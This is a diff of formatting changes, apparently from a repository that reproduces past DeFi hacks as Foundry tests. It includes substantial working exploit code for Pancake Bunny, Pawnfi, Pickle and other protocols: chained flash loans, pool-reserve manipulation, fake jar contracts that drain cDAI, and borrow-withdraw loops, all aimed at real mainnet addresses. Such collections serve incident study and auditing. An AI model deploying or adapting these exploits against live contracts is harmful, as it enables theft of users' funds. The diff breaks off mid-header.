log_named_decimal_uint( - "Initial USDT balance of attacker:", - IERC20(USDT).balanceOf(address(this)), - IERC20(USDT).decimals() + "Initial USDT balance of attacker:", IERC20(USDT).balanceOf(address(this)), IERC20(USDT).decimals() ); emit log_named_decimal_uint( - "Initial BUNNY balance of attacker:", - IERC20(BUNNY).balanceOf(address(this)), - IERC20(BUNNY).decimals() + "Initial BUNNY balance of attacker:", IERC20(BUNNY).balanceOf(address(this)), IERC20(BUNNY).decimals() ); // Deposit a minimum amount of WBNB + USDT to VaultFlipToFlip, transfer LP tokens to WBNB + USDT Pancake pool. @@ -107,18 +79,14 @@ contract ContractTest is DSTest { uint256 lpamount = IERC20(address(WBNBUSDTv2)).balanceOf(address(this)); flip.deposit(lpamount); - emit log_string( - "After X blocks, the keeper of VaultFlipToFlip calls harvest()" - ); + emit log_string("After X blocks, the keeper of VaultFlipToFlip calls harvest()"); - cheat.warp(1655908339); - cheat.roll(7556391); + cheat.warp(1_655_908_339); + cheat.roll(7_556_391); // Keeper needs to call flip.harvest() so that flip.earned(address(this)) > 0 cheat.prank(keeper); - (bool success, ) = address(flip).call( - abi.encodeWithSignature("harvest()") - ); + (bool success,) = address(flip).call(abi.encodeWithSignature("harvest()")); require(success, "flip.harvest() fails"); emit log_string("Exploit begins:"); @@ -131,7 +99,7 @@ contract ContractTest is DSTest { //Initiate flashloans emit log_string("Initiate flashloans..."); - (uint256 _amount0, uint256 _amount1, ) = pairs[0].getReserves(); + (uint256 _amount0, uint256 _amount1,) = pairs[0].getReserves(); if (WBNB == pairs[0].token1()) { pairs[0].swap(0, _amount1 - 1, address(this), abi.encode(0, 1)); } else { @@ -145,77 +113,43 @@ contract ContractTest is DSTest { //Collect profit emit log_named_decimal_uint( - "Collected WBNB profit:", - IERC20(WBNB).balanceOf(address(this)), - IERC20(WBNB).decimals() + "Collected WBNB profit:", IERC20(WBNB).balanceOf(address(this)), IERC20(WBNB).decimals() ); emit log_named_decimal_uint( - "Collected USDT profit:", - IERC20(USDT).balanceOf(address(this)), - IERC20(USDT).decimals() + "Collected USDT profit:", IERC20(USDT).balanceOf(address(this)), IERC20(USDT).decimals() ); } else { revert("Nothing earned."); } } - function pancakeCall( - address sender, - uint256 amount0, - uint256 amount1, - bytes calldata data - ) public { + function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public { (uint256 level, uint256 asset) = abi.decode(data, (uint256, uint256)); // Take 6 WBNB flashloans from PCS if (level + 1 < 7) { level++; - (uint256 _amount0, uint256 _amount1, ) = pairs[level].getReserves(); + (uint256 _amount0, uint256 _amount1,) = pairs[level].getReserves(); if (WBNB == pairs[level].token1()) { - pairs[level].swap( - 0, - _amount1 - 1, - address(this), - abi.encode(level, 1) - ); + pairs[level].swap(0, _amount1 - 1, address(this), abi.encode(level, 1)); } else { - pairs[level].swap( - _amount0 - 1, - 0, - address(this), - abi.encode(level, 0) - ); + pairs[level].swap(_amount0 - 1, 0, address(this), abi.encode(level, 0)); } } else { //flashloan from fortube bank - uint256 usdtFlashloanAmount = 2_961_750_450987026369366661; // 2'961'750.450987026369366661 USDT + uint256 usdtFlashloanAmount = 2_961_750_450_987_026_369_366_661; // 2'961'750.450987026369366661 USDT - FortubeBank.flashloan( - address(this), - USDT, - usdtFlashloanAmount, - hex"" - ); + FortubeBank.flashloan(address(this), USDT, usdtFlashloanAmount, hex""); // execution passes to executeOperation() } //repay each PCS flashloan - uint256 retAmount = asset == 0 - ? ((amount0 * 10_000) / 9_975 + 1) - : ((amount1 * 10_000) / 9_975 + 1); - require( - IERC20(WBNB).balanceOf(address(this)) >= retAmount, - "not making proift" - ); + uint256 retAmount = asset == 0 ? ((amount0 * 10_000) / 9975 + 1) : ((amount1 * 10_000) / 9975 + 1); + require(IERC20(WBNB).balanceOf(address(this)) >= retAmount, "not making proift"); IERC20(WBNB).transfer(msg.sender, retAmount); } - function executeOperation( - address token, - uint256 amount, - uint256 fee, - bytes calldata params - ) public { + function executeOperation(address token, uint256 amount, uint256 fee, bytes calldata params) public { uint256 usdtBalance = IERC20(USDT).balanceOf(address(this)); emit log_named_decimal_uint( @@ -225,9 +159,7 @@ contract ContractTest is DSTest { ); emit log_named_decimal_uint( - "After Fortube Bank flashloan, USDT balance of attacker:", - usdtBalance, - IERC20(USDT).decimals() + "After Fortube Bank flashloan, USDT balance of attacker:", usdtBalance, IERC20(USDT).decimals() ); // *Actual exploit* @@ -247,18 +179,13 @@ contract ContractTest is DSTest { // Manipulate BunnyMinter._zapAssetsToBunnyBNB - deposit liquidity IERC20(WBNB).approve(address(zap), type(uint256).max); zap.zapInToken(WBNB, 15_000e18, address(WBNBUSDTv2)); - uint256 attackerLPBalance = IERC20(address(WBNBUSDTv2)).balanceOf( - address(this) - ); - IERC20(address(WBNBUSDTv2)).transfer( - address(WBNBUSDTv2), - attackerLPBalance - ); + uint256 attackerLPBalance = IERC20(address(WBNBUSDTv2)).balanceOf(address(this)); + IERC20(address(WBNBUSDTv2)).transfer(address(WBNBUSDTv2), attackerLPBalance); emit log_string("Dumping all WBNB for USDT on WBNB+USDT v1 pool.."); // Manipulate WBNB - USDT pair - (uint256 reserve0, uint256 reserve1, ) = WBNBUSDTv1.getReserves(); + (uint256 reserve0, uint256 reserve1,) = WBNBUSDTv1.getReserves(); uint256 amountIn = wbnbAmount; uint256 amountOut = router.getAmountOut(amountIn, reserve1, reserve0); IERC20(WBNB).transfer(address(WBNBUSDTv1), amountIn); @@ -288,13 +215,9 @@ contract ContractTest is DSTest { emit log_string("Dumping all BUNNY for WBNB on WBNB+BUNNY pool..."); { uint256 bunnyBalance = IERC20(BUNNY).balanceOf(address(this)) - 1; - (uint256 reserve0, uint256 reserve1, ) = WBNBBUNNY.getReserves(); + (uint256 reserve0, uint256 reserve1,) = WBNBBUNNY.getReserves(); uint256 amountIn = bunnyBalance; - uint256 amountOut = router.getAmountOut( - bunnyBalance, - reserve1, - reserve0 - ); + uint256 amountOut = router.getAmountOut(bunnyBalance, reserve1, reserve0); IERC20(BUNNY).transfer(address(WBNBBUNNY), amountIn); WBNBBUNNY.swap(amountOut, 0, address(this), hex""); diff --git a/src/test/Paraspace_exp_2.sol b/src/test/Paraspace_exp_2.sol index 9d7b9ccf..99739614 100644 --- a/src/test/Paraspace_exp_2.sol +++ b/src/test/Paraspace_exp_2.sol @@ -56,7 +56,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "After exploit, WETH balance of Attacker:", WETH.balanceOf(address(this)), WETH.decimals() - ); + ); } function executeOperation( diff --git a/src/test/Paribus_exp.sol b/src/test/Paribus_exp.sol index 7953df73..6fc6a11b 100644 --- a/src/test/Paribus_exp.sol +++ b/src/test/Paribus_exp.sol @@ -60,7 +60,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals() - ); + ); } function executeOperation( diff --git a/src/test/Pawnfi_exp.sol b/src/test/Pawnfi_exp.sol index dc01b1c4..e2eaa5f8 100644 --- a/src/test/Pawnfi_exp.sol +++ b/src/test/Pawnfi_exp.sol @@ -82,9 +82,7 @@ interface IApeStaking { function setCollectRate(uint256 newCollectRate) external; - function pools( - uint256 - ) + function pools(uint256) external view returns ( @@ -94,48 +92,31 @@ interface IApeStaking { uint96 accumulatedRewardsPerShare ); - function getTimeRangeBy( - uint256 _poolId, - uint256 _index - ) external view returns (IApeCoinStaking.TimeRange memory); + function getTimeRangeBy(uint256 _poolId, uint256 _index) external view returns (IApeCoinStaking.TimeRange memory); } interface IPToken is IERC20 { - function randomTrade( - uint256 nftIdCount - ) external returns (uint256[] memory nftIds); + function randomTrade(uint256 nftIdCount) external returns (uint256[] memory nftIds); } contract PawnfiTest is Test { - Uni_Pair_V3 private constant UniV3Pool = - Uni_Pair_V3(0xAc4b3DacB91461209Ae9d41EC517c2B9Cb1B7DAF); - IERC20 private constant APE = - IERC20(payable(0x4d224452801ACEd8B2F0aebE155379bb5D594381)); - IERC20 private constant WETH = - IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); - ICErc20Delegate private constant sAPE = - ICErc20Delegate(payable(0x73625745eD66F0d4C68C91613086ECe1Fc5a0119)); - ICErc20Delegate private constant isAPE = - ICErc20Delegate(payable(0x3B2da9304bd1308Dc0d1b2F9c3C14F4CF016a955)); - ICErc20Delegate private constant CEther = - ICErc20Delegate(payable(0x37B614714e96227D81fFffBdbDc4489e46eAce8C)); - ICErc20Delegate private constant iPBAYC = - ICErc20Delegate(payable(0x9C1c49B595D5c25F0Ccc465099E6D9d0a1E5aB37)); - IPToken private constant PBAYC = - IPToken(0x5f0A4a59C8B39CDdBCf0C683a6374655b4f5D76e); - IERC721 private constant BAYC = - IERC721(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D); - ICointroller private constant Unitroller = - ICointroller(0x0518b21F49548427EF0c16Ff26Ce8a05295F7454); + Uni_Pair_V3 private constant UniV3Pool = Uni_Pair_V3(0xAc4b3DacB91461209Ae9d41EC517c2B9Cb1B7DAF); + IERC20 private constant APE = IERC20(payable(0x4d224452801ACEd8B2F0aebE155379bb5D594381)); + IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); + ICErc20Delegate private constant sAPE = ICErc20Delegate(payable(0x73625745eD66F0d4C68C91613086ECe1Fc5a0119)); + ICErc20Delegate private constant isAPE = ICErc20Delegate(payable(0x3B2da9304bd1308Dc0d1b2F9c3C14F4CF016a955)); + ICErc20Delegate private constant CEther = ICErc20Delegate(payable(0x37B614714e96227D81fFffBdbDc4489e46eAce8C)); + ICErc20Delegate private constant iPBAYC = ICErc20Delegate(payable(0x9C1c49B595D5c25F0Ccc465099E6D9d0a1E5aB37)); + IPToken private constant PBAYC = IPToken(0x5f0A4a59C8B39CDdBCf0C683a6374655b4f5D76e); + IERC721 private constant BAYC = IERC721(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D); + ICointroller private constant Unitroller = ICointroller(0x0518b21F49548427EF0c16Ff26Ce8a05295F7454); ISimplePriceOracle private constant MultipleSourceOracle = ISimplePriceOracle(0x01b7234e6b24003e88b4e22d0a8d574432d3dFF6); - IApeStaking private constant ApeStaking1 = - IApeStaking(0x0B89032E2722b103386aDCcaE18B2F5D4986aFa0); - IApeStaking private constant ApeStaking2 = - IApeStaking(0x5954aB967Bc958940b7EB73ee84797Dc8a2AFbb9); + IApeStaking private constant ApeStaking1 = IApeStaking(0x0B89032E2722b103386aDCcaE18B2F5D4986aFa0); + IApeStaking private constant ApeStaking2 = IApeStaking(0x5954aB967Bc958940b7EB73ee84797Dc8a2AFbb9); function setUp() public { - vm.createSelectFork("mainnet", 17496619); + vm.createSelectFork("mainnet", 17_496_619); vm.label(address(UniV3Pool), "UniV3Pool"); vm.label(address(APE), "APE"); vm.label(address(sAPE), "sAPE"); @@ -157,46 +138,22 @@ contract PawnfiTest is Test { // In the attack tx APE balance of P-BAYC is as below. This issue occurs also with other attack txs. deal(address(APE), address(PBAYC), 206_227_682_165_404_022_135_955); + emit log_named_decimal_uint("Attacker ETH balance before attack", address(this).balance, 18); + emit log_named_decimal_uint("Attacker APE balance before attack", APE.balanceOf(address(this)), APE.decimals()); emit log_named_decimal_uint( - "Attacker ETH balance before attack", - address(this).balance, - 18 - ); - emit log_named_decimal_uint( - "Attacker APE balance before attack", - APE.balanceOf(address(this)), - APE.decimals() - ); - emit log_named_decimal_uint( - "Attacker isAPE balance before attack", - isAPE.balanceOf(address(this)), - isAPE.decimals() + "Attacker isAPE balance before attack", isAPE.balanceOf(address(this)), isAPE.decimals() ); UniV3Pool.flash(address(this), 200_000 * 1e18, 0, new bytes(1)); + emit log_named_decimal_uint("Attacker ETH balance after attack", address(this).balance, 18); + emit log_named_decimal_uint("Attacker APE balance after attack", APE.balanceOf(address(this)), APE.decimals()); emit log_named_decimal_uint( - "Attacker ETH balance after attack", - address(this).balance, - 18 - ); - emit log_named_decimal_uint( - "Attacker APE balance after attack", - APE.balanceOf(address(this)), - APE.decimals() - ); - emit log_named_decimal_uint( - "Attacker isAPE balance after attack", - isAPE.balanceOf(address(this)), - isAPE.decimals() + "Attacker isAPE balance after attack", isAPE.balanceOf(address(this)), isAPE.decimals() ); } - function uniswapV3FlashCallback( - uint256 fee0, - uint256 fee1, - bytes calldata data - ) external { + function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external { APE.approve(address(sAPE), APE.balanceOf(address(this))); sAPE.mint(APE.balanceOf(address(this))); sAPE.approve(address(isAPE), sAPE.balanceOf(address(this))); @@ -206,7 +163,7 @@ contract PawnfiTest is Test { cTokens[0] = address(isAPE); Unitroller.enterMarkets(cTokens); - iPBAYC.borrow(1_005 * 1e18); + iPBAYC.borrow(1005 * 1e18); // emit log_uint(PBAYC.balanceOf(address(this))); PBAYC.approve(address(PBAYC), PBAYC.balanceOf(address(this))); uint256[] memory nftIds = PBAYC.randomTrade(1); @@ -217,32 +174,19 @@ contract PawnfiTest is Test { uint256[] memory _mainTokenIds = new uint256[](1); _mainTokenIds[0] = nftIds[0]; uint256[] memory _bakcTokenIds; - ApeStakingStorage.DepositInfo memory depositInfo = ApeStakingStorage - .DepositInfo({ - mainTokenIds: _mainTokenIds, - bakcTokenIds: _bakcTokenIds - }); - ApeStakingStorage.StakingInfo memory stakingInfo = ApeStakingStorage - .StakingInfo({ - nftAsset: address(BAYC), - cashAmount: 0, - borrowAmount: 0 - }); + ApeStakingStorage.DepositInfo memory depositInfo = + ApeStakingStorage.DepositInfo({mainTokenIds: _mainTokenIds, bakcTokenIds: _bakcTokenIds}); + ApeStakingStorage.StakingInfo memory stakingInfo = + ApeStakingStorage.StakingInfo({nftAsset: address(BAYC), cashAmount: 0, borrowAmount: 0}); IApeCoinStaking.SingleNft[] memory _nfts; IApeCoinStaking.PairNftDepositWithAmount[] memory _nftPairs; - ApeStaking1.depositAndBorrowApeAndStake( - depositInfo, - stakingInfo, - _nfts, - _nftPairs - ); + ApeStaking1.depositAndBorrowApeAndStake(depositInfo, stakingInfo, _nfts, _nftPairs); borrowEth(); for (uint256 i; i < 20; ++i) { - (, uint16 lastRewardsRangeIndex, , ) = ApeStaking2.pools(1); - IApeCoinStaking.TimeRange memory timeRange = ApeStaking2 - .getTimeRangeBy(1, lastRewardsRangeIndex); + (, uint16 lastRewardsRangeIndex,,) = ApeStaking2.pools(1); + IApeCoinStaking.TimeRange memory timeRange = ApeStaking2.getTimeRangeBy(1, lastRewardsRangeIndex); depositBorrowWithdrawApe(timeRange.capPerPosition); } @@ -251,13 +195,9 @@ contract PawnfiTest is Test { } function borrowEth() internal { - (, uint256 accLiquidity, ) = Unitroller.getAccountLiquidity( - address(this) - ); + (, uint256 accLiquidity,) = Unitroller.getAccountLiquidity(address(this)); uint256 cashBalanceEth = CEther.getCash(); - uint256 underlyingPrice = MultipleSourceOracle.getUnderlyingPrice( - address(CEther) - ); + uint256 underlyingPrice = MultipleSourceOracle.getUnderlyingPrice(address(CEther)); uint256 liquidity = (underlyingPrice * cashBalanceEth) / 1e18; if (liquidity <= accLiquidity) { @@ -271,30 +211,17 @@ contract PawnfiTest is Test { function depositBorrowWithdrawApe(uint256 amount) internal { uint256[] memory _mainTokenIds; uint256[] memory _bakcTokenIds; - ApeStakingStorage.DepositInfo memory depositInfo = ApeStakingStorage - .DepositInfo({ - mainTokenIds: _mainTokenIds, - bakcTokenIds: _bakcTokenIds - }); - ApeStakingStorage.StakingInfo memory stakingInfo = ApeStakingStorage - .StakingInfo({ - nftAsset: address(BAYC), - cashAmount: 0, - borrowAmount: 0 - }); - IApeCoinStaking.SingleNft[] - memory _nfts = new IApeCoinStaking.SingleNft[](1); + ApeStakingStorage.DepositInfo memory depositInfo = + ApeStakingStorage.DepositInfo({mainTokenIds: _mainTokenIds, bakcTokenIds: _bakcTokenIds}); + ApeStakingStorage.StakingInfo memory stakingInfo = + ApeStakingStorage.StakingInfo({nftAsset: address(BAYC), cashAmount: 0, borrowAmount: 0}); + IApeCoinStaking.SingleNft[] memory _nfts = new IApeCoinStaking.SingleNft[](1); _nfts[0] = IApeCoinStaking.SingleNft({ tokenId: 9829, // nftIds[0] amount: uint224(amount) }); IApeCoinStaking.PairNftDepositWithAmount[] memory _nftPairs; - ApeStaking1.depositAndBorrowApeAndStake( - depositInfo, - stakingInfo, - _nfts, - _nftPairs - ); + ApeStaking1.depositAndBorrowApeAndStake(depositInfo, stakingInfo, _nfts, _nftPairs); IApeCoinStaking.PairNftWithdrawWithAmount[] memory nftPairs_; ApeStaking1.withdrawApeCoin(address(BAYC), _nfts, nftPairs_); } diff --git a/src/test/Phoenix_exp.sol b/src/test/Phoenix_exp.sol index 24aabd80..e4168ac6 100644 --- a/src/test/Phoenix_exp.sol +++ b/src/test/Phoenix_exp.sol @@ -49,7 +49,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals() - ); + ); } function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { diff --git a/src/test/Pickle_exp.sol b/src/test/Pickle_exp.sol index bd5cb7e1..51ef6e0c 100644 --- a/src/test/Pickle_exp.sol +++ b/src/test/Pickle_exp.sol @@ -11,73 +11,55 @@ import "./interface.sol"; // Attack TX: https://ethtx.info/mainnet/0xe72d4e7ba9b5af0cf2a8cfb1e30fd9f388df0ab3da79790be842bfbed11087b0 // Exploit code refers to sam. https://github.com/banteg/evil-jar/blob/master/reference/samczsun.sol - CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); - ControllerLike constant CONTROLLER = ControllerLike(0x6847259b2B3A4c17e7c43C54409810aF48bA5210); - CurveLogicLike constant CURVE_LOGIC = CurveLogicLike(0x6186E99D9CFb05E1Fdf1b442178806E81da21dD8); - - IERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); - IERC20 constant CDAI = IERC20(0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643); - - JarLike constant PDAI = JarLike(0x6949Bb624E8e8A90F87cD2058139fcd77D2F3F87); - address constant STRAT = 0xCd892a97951d46615484359355e3Ed88131f829D; +CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); +ControllerLike constant CONTROLLER = ControllerLike(0x6847259b2B3A4c17e7c43C54409810aF48bA5210); +CurveLogicLike constant CURVE_LOGIC = CurveLogicLike(0x6186E99D9CFb05E1Fdf1b442178806E81da21dD8); +IERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); +IERC20 constant CDAI = IERC20(0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643); + +JarLike constant PDAI = JarLike(0x6949Bb624E8e8A90F87cD2058139fcd77D2F3F87); +address constant STRAT = 0xCd892a97951d46615484359355e3Ed88131f829D; contract AttackContract is Test { address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; function setUp() public { - cheat.createSelectFork("mainnet", 11303122); // Fork mainnet at block 11303122 + cheat.createSelectFork("mainnet", 11_303_122); // Fork mainnet at block 11303122 } function testExploit() public { - uint earns = 5; - + uint256 earns = 5; + address[] memory targets = new address[](earns + 2); bytes[] memory datas = new bytes[](earns + 2); - for (uint i = 0; i < earns + 2; i++) { + for (uint256 i = 0; i < earns + 2; i++) { targets[i] = address(CURVE_LOGIC); } datas[0] = arbitraryCall(STRAT, "withdrawAll()"); - for (uint i = 0; i < earns; i++) { + for (uint256 i = 0; i < earns; i++) { datas[i + 1] = arbitraryCall(address(PDAI), "earn()"); } datas[earns + 1] = arbitraryCall(STRAT, "withdraw(address)", address(CDAI)); - emit log_named_decimal_uint("Before exploiting, Attacker cDAI Balance", CDAI.balanceOf(address(msg.sender)),8); + emit log_named_decimal_uint("Before exploiting, Attacker cDAI Balance", CDAI.balanceOf(address(msg.sender)), 8); console.log("DAI balance on pDAI", DAI.balanceOf(address(PDAI))); - CONTROLLER.swapExactJarForJar( - address(new FakeJar(CDAI)), - address(new FakeJar(CDAI)), - 0, - 0, - targets, - datas - ); - - emit log_named_decimal_uint("After exploiting, Attacker cDAI Balance", CDAI.balanceOf(address(msg.sender)),8); + CONTROLLER.swapExactJarForJar(address(new FakeJar(CDAI)), address(new FakeJar(CDAI)), 0, 0, targets, datas); + emit log_named_decimal_uint("After exploiting, Attacker cDAI Balance", CDAI.balanceOf(address(msg.sender)), 8); } - function arbitraryCall(address to, string memory sig) internal returns (bytes memory) { + + function arbitraryCall(address to, string memory sig) internal returns (bytes memory) { return abi.encodeWithSelector( - CURVE_LOGIC.add_liquidity.selector, - to, - bytes4(keccak256(bytes(sig))), - 1, - 0, - address(CDAI) + CURVE_LOGIC.add_liquidity.selector, to, bytes4(keccak256(bytes(sig))), 1, 0, address(CDAI) ); } - + function arbitraryCall(address to, string memory sig, address param) internal returns (bytes memory) { return abi.encodeWithSelector( - CURVE_LOGIC.add_liquidity.selector, - to, - bytes4(keccak256(bytes(sig))), - 1, - 0, - new FakeUnderlying(param) + CURVE_LOGIC.add_liquidity.selector, to, bytes4(keccak256(bytes(sig))), 1, 0, new FakeUnderlying(param) ); } @@ -85,7 +67,7 @@ contract AttackContract is Test { } abstract contract ControllerLike { - function swapExactJarForJar ( + function swapExactJarForJar( address _fromJar, // From which Jar address _toJar, // To which Jar uint256 _fromJarAmount, // How much jar tokens to swap @@ -107,63 +89,62 @@ abstract contract CurveLogicLike { contract FakeJar { IERC20 _token; - + constructor(IERC20 token) public { _token = token; } - + function token() public view returns (IERC20) { return _token; } - - function transfer(address to, uint amnt) public returns (bool) { + + function transfer(address to, uint256 amnt) public returns (bool) { return true; } - - function transferFrom(address, address, uint) public returns (bool) { + + function transferFrom(address, address, uint256) public returns (bool) { return true; } - - function getRatio() public returns (uint) { + + function getRatio() public returns (uint256) { return 0; } - - function decimals() public returns (uint) { + + function decimals() public returns (uint256) { return 0; } - - function balanceOf(address) public returns (uint) { + + function balanceOf(address) public returns (uint256) { return 0; } - - function approve(address, uint) public returns (bool) { + + function approve(address, uint256) public returns (bool) { return true; } - - function deposit(uint amount) public { + + function deposit(uint256 amount) public { _token.transferFrom(msg.sender, tx.origin, amount); } - - function withdraw(uint) public { - } + + function withdraw(uint256) public {} } contract FakeUnderlying { address private target; - + constructor(address _target) public { target = _target; } - + function balanceOf(address) public returns (address) { return target; } - - function approve(address, uint) public returns (bool) { + + function approve(address, uint256) public returns (bool) { return true; } - - function allowance(address, address) public returns (uint) { + + function allowance(address, address) public returns (uint256) { return 0; } } diff --git a/src/test/Platypus02_exp.sol b/src/test/Platypus02_exp.sol index 66aa6b2f..040f4c97 100644 --- a/src/test/Platypus02_exp.sol +++ b/src/test/Platypus02_exp.sol @@ -65,7 +65,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals() - ); + ); } function executeOperation( diff --git a/src/test/Platypus_exp.sol b/src/test/Platypus_exp.sol index cd83b6f9..1db2b313 100644 --- a/src/test/Platypus_exp.sol +++ b/src/test/Platypus_exp.sol @@ -82,22 +82,22 @@ contract ContractTest is Test { emit log_named_decimal_uint("Attacker USP balance after exploit", USP.balanceOf(address(this)), USP.decimals()); emit log_named_decimal_uint( "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals() - ); + ); emit log_named_decimal_uint( "Attacker USDC_E balance after exploit", USDC_E.balanceOf(address(this)), USDC_E.decimals() - ); + ); emit log_named_decimal_uint( "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals() - ); + ); emit log_named_decimal_uint( "Attacker USDT_E balance after exploit", USDT_E.balanceOf(address(this)), USDT_E.decimals() - ); + ); emit log_named_decimal_uint( "Attacker BUSD balance after exploit", BUSD.balanceOf(address(this)), BUSD.decimals() - ); + ); emit log_named_decimal_uint( "Attacker DAI_E balance after exploit", DAI_E.balanceOf(address(this)), DAI_E.decimals() - ); + ); } function executeOperation( diff --git a/src/test/PolyNetwork/PolyNetwork_exp.sol b/src/test/PolyNetwork/PolyNetwork_exp.sol index 85a9516b..f3284dff 100644 --- a/src/test/PolyNetwork/PolyNetwork_exp.sol +++ b/src/test/PolyNetwork/PolyNetwork_exp.sol @@ -90,7 +90,7 @@ contract ContractTest is DSTest { cheats.startPrank(exploiter); emit log_named_bytes( "existing CurEpochConPubKeyBytes", IEthCrossChainData(EthCrossChainData).getCurEpochConPubKeyBytes() - ); + ); bytes memory rawHeader = hex"0000000000000000000000008446719cbe62cf6fb9e3fb95a6c12882c5a3d885ad1dd8f2785e48d617d12708d38136a7df909f371a9f835d3ad58637e0dbc2f3e0f4bb60228730a46f77839a773046bcc14f6079db9033d0ab6176f171384070729fbfd2086a418e7e057717f3e67f4b67c999d13c258e5657f4dc0b5553e1836d0d81d1bff05b621053834bc7471261843aa80030451454a4f4b560fd13017b226c6561646572223a332c227672665f76616c7565223a22424851706a716f325767494d616a7a5a5a6c4158507951506c7a3357456e4a534e7470682b35416346376f37654b784e48486742704156724e54666f674c73485264394c7a544a5666666171787036734a637570324d303d222c227672665f70726f6f66223a226655346f56364462526d543264744d5254397a326b366853314f6f42584963397a72544956784974576348652f4b56594f2b58384f5167746143494d676139682f59615548564d514e554941326141484f664d545a773d3d222c226c6173745f636f6e6669675f626c6f636b5f6e756d223a31303938303030302c226e65775f636861696e5f636f6e666967223a6e756c6c7d0000000000000000000000000000000000000000"; // https://github.com/polynetwork/eth-contracts/blob/d16252b2b857eecf8e558bd3e1f3bb14cff30e9b/contracts/core/cross_chain_manager/libs/EthCrossChainUtils.sol @@ -167,7 +167,7 @@ contract ContractTest is DSTest { // (success, returnData) = EthCrossChainData.call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(toMerkleValue.makeTxParam.method, "(bytes,bytes,uint64)"))), abi.encode(toMerkleValue.makeTxParam.args, toMerkleValue.makeTxParam.fromContractAddr, toMerkleValue.makeTxParam.fromChainId))); emit log_named_bytes( "changed CurEpochConPubKeyBytes", IEthCrossChainData(EthCrossChainData).getCurEpochConPubKeyBytes() - ); + ); // token transfer: https://etherscan.io/tx/0xad7a2c70c958fcd3effbf374d0acf3774a9257577625ae4c838e24b0de17602a address AssetProxy = 0x250e76987d838a75310c34bf422ea9f1AC4Cc906; diff --git a/src/test/QTN_exp.sol b/src/test/QTN_exp.sol index 7069e8c9..6171c7d6 100644 --- a/src/test/QTN_exp.sol +++ b/src/test/QTN_exp.sol @@ -46,7 +46,7 @@ contract ContractTest is DSTest { emit log_named_decimal_uint( "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals() - ); + ); } function QTNContractFactory() internal { diff --git a/src/test/Qubit_exp.sol b/src/test/Qubit_exp.sol index ea98fa0f..01e3ab16 100644 --- a/src/test/Qubit_exp.sol +++ b/src/test/Qubit_exp.sol @@ -45,10 +45,10 @@ contract ContractTest is DSTest { // IQBridgeHandler(QBridgeHandler).deposit(resourceID, attacker, data); emit log_named_address( "contractAddress", IQBridgeHandler(QBridgeHandler).resourceIDToTokenContractAddress(resourceID) - ); + ); emit log_named_uint( "is 0 address whitelisted", IQBridgeHandler(QBridgeHandler).contractWhitelist(address(0)) ? 1 : 0 - ); + ); IQBridge(QBridge).deposit(1, resourceID, data); diff --git a/src/test/Quixotic_exp.sol b/src/test/Quixotic_exp.sol index 28e60827..b82dddc2 100644 --- a/src/test/Quixotic_exp.sol +++ b/src/test/Quixotic_exp.sol @@ -34,7 +34,7 @@ contract ContractTest is DSTest { cheat.prank(0x0A0805082EA0fc8bfdCc6218a986efda6704eFE5); emit log_named_uint( "Before exploiting, attacker OP Balance:", op.balanceOf(0x0A0805082EA0fc8bfdCc6218a986efda6704eFE5) - ); + ); quixotic.fillSellOrder( 0x0A0805082EA0fc8bfdCc6218a986efda6704eFE5, 0xbe81eabDBD437CbA43E4c1c330C63022772C2520, @@ -50,7 +50,7 @@ contract ContractTest is DSTest { ); emit log_named_uint( "After exploiting, attacker OP Balance:", op.balanceOf(0x0A0805082EA0fc8bfdCc6218a986efda6704eFE5) - ); + ); //issues was only check seller signature //require(_validateSellerSignature(sellOrder, signature), diff --git a/src/test/RES_exp.sol b/src/test/RES_exp.sol index 4c6ebc17..4b56c002 100644 --- a/src/test/RES_exp.sol +++ b/src/test/RES_exp.sol @@ -65,7 +65,7 @@ contract Attacker is Test { "[FlashLoan] Res Token Balance Of address(user):", restoken.balanceOf(address(0x3F693Effc53908d517F186A20431f756C90c2229)), 8 - ); + ); usdt.transfer(0x05ba2c512788bd95cd6D61D3109c53a14b01c82A, 476_862_899_365_088_591_182_696); @@ -122,7 +122,7 @@ contract Attacker is Test { "[FlashLoan] All Token Balance Of address(user):", alltoken.balanceOf(address(0x3F693Effc53908d517F186A20431f756C90c2229)), 18 - ); + ); uint256 alltoken_balance = alltoken.balanceOf(address(0x3F693Effc53908d517F186A20431f756C90c2229)); @@ -142,7 +142,7 @@ contract Attacker is Test { emit log_named_decimal_uint( "[FlashLoan] sell Alltoken over, Hacker usdt balance is :", usdt.balanceOf(address(this)), 18 - ); + ); restoken.transferFrom( 0x3F693Effc53908d517F186A20431f756C90c2229, 0x05ba2c512788bd95cd6D61D3109c53a14b01c82A, res_balance @@ -152,7 +152,7 @@ contract Attacker is Test { emit log_named_decimal_uint( "[FlashLoan] sell Restoken over, Hacker usdt balance is :", usdt.balanceOf(address(this)), 18 - ); + ); uint256 refund = amount0 + ((amount0 * 251 / 100_000)); usdt.transfer(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE, refund); diff --git a/src/test/RevertFinance_exp.sol 